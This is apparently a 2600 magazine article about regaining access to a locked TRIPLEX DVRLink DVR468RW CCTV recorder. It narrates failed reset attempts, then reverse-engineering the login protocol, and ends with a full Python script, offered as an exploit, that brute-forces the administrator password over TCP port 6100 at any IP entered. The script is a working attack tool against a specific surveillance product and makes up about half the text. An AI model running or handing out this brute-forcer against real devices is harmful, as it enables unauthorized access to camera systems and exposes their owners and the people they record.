Brute Force Access

by lanrat

At an internship I had a while ago, one project assigned to me was to regain access to a CCTV security system which we had been locked out of for some years.  (The previous manager left without leaving the password.)

The DVR system was a TRIPLEX DVRLink DVR468RW, whatever that is.  It seemed cheap; a small embedded computer with video in/out, a hard-drive and CD-RW drive for recording storage.  The administration interface was accessed either by a web server running on the device or a desktop client you installed on your computer.

My initial thought was to remove the device's internal clock battery to reset the password back to the default of "1234."  No dice.  Next on the list of things to try was examining the hard-drive in a desktop computer to see if the password could be viewed or reset.  The hard drive had a single partition with some old surveillance video footage; nothing to do with settings or authentication.  Further examination of the main board revealed a flash memory chip which I assumed stored the device's configuration, including the administration password.

Let me step back here.  The administration password could be entered either over one of the remote managemen interfaces (the desktop client or webserver) or physically on the devices keypad.

The keypad had the buttons: 1, 2, 3, 4, and ENTER.

Well, isn't that interesting; it looks as if the password can only me made up of at most four characters.  And the desktop client nicely informs me that when entering a password it must be between 4 and 8 characters long, that leaves only 87,296 possibilities.

So, onto the next attack!  Knowing that this device had such a limited amount of possible options for the password a brute force attack wouldn't be bad at all.  After spending a lot of time examining unsuccessful login attempts from the desktop client in Wireshark and understanding their proprietary protocol, I wrote my first useful python script to automate the process.  After a few false positives and tweaks, I was able to get the program to generate a list of every possible password combination for the device and try them out.  Within a minute of running I had the device's long lost administration password of 1324 (It has since been changed).

After logging in as the Administrator I was able to see that there were other accounts on the system as well.  And my program worked equally well for all of them.  However, it is currently hard-coded to use the 'Administrator' username.  You may change it if you wish, but why bother?

Below is the exploit for the TRIPLEX DVRLink DVR468RW.  I hope that it may be useful to someone (in a law abiding way).

The exploit was tested on a Windows XP machine with Python 3.

#!/usr/bin/env python
import socket
import binascii
import sys
import time

def passList():
    n = 1
    li = [1]
    while (int(li[-1]) <= 44444444):
        k = str_base(int(n))
        if (k != 0):
            li.append(k)
        n = n + 1
    return li

def asctohex(string_in):
    a=""
    for x in string_in:
        a = a + ("0"+((hex(ord(x)))[2:]))[-2:]
    return(a)

def getIP():
    #Ask for IP
    while True:
        TCP_IP = input("Enter IP: ")
        try:
            socket.inet_aton(TCP_IP)
            break
        except socket.error:
            print("Error, Try Again")
    return TCP_IP

def connect(to, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((to, port))
    return s

def makePassPacket(password):
    packet = '41444d494e4953545241544f5200' #14 bytes, username: Admininstrator
    packet += '0000eb030000920303000000000058d86701' #18 bytes of something...
    packet += asctohex(password) #4 password
    packet += '00'
    size = len(packet)
    need = 128-size #64 bits in hex
    junk = '010000eb03000092030300000000003c21f6064c9c6a0700000000000000000000'#bytes of something else
    packet += junk[0:need]
    return packet

def str_base(num, base=5, numerals = '01234'):
    if base < 2 or base > len(numerals):
        raise ValueError("str_base: base must be between 2 and %i" % len(numerals))
    result = ''
    while num:
        result = numerals[num % (base)] + result
        num //= base
    if result.count('0') > 0:
        return 0
    return result

TCP_IP = getIP()
TCP_PORT = 6100

print('Generating password list..')
passwords = passList()

print('Running...')

msg1=binascii.unhexlify('01010000')
msg2=binascii.unhexlify('01010004')
msg4=binascii.unhexlify('01200040')

for password in passwords:
    s1 = connect(TCP_IP,TCP_PORT)

    #socket 1 data 1
    s1.send(msg1)
    s1.settimeout(5)
    data1 = s1.recv(4)
    data2 = s1.recv(4)
    if (binascii.b2a_hex(data1) != b'02000008'):
        sys.exit("First packet incorect")

    s2 = connect(TCP_IP,TCP_PORT)

    #socket 2 data 1
    s2.send(msg2)
    msg3=binascii.unhexlify(binascii.b2a_hex(data2)[0:8])
    s2.send(msg3)
    s2.settimeout(5)
    data3 = s2.recv(4)
    data4 = s2.recv(8)
    if (binascii.b2a_hex(data3) != b'02000004'):
        sys.exit("Second packet incorect")

    #socket 1 data 2
    passPacket = makePassPacket(str(password))
    s1.send(msg4)
    s1.send(binascii.unhexlify(passPacket))
    data5 = s1.recv(8)
    data6 = s1.recv(8)

    if (binascii.b2a_hex(data6) != b'02160000' ):
        print('Password:',password)
        sys.exit()

    time.sleep(0.1)

Code: DVR_exploit.py

Return to $2600 Index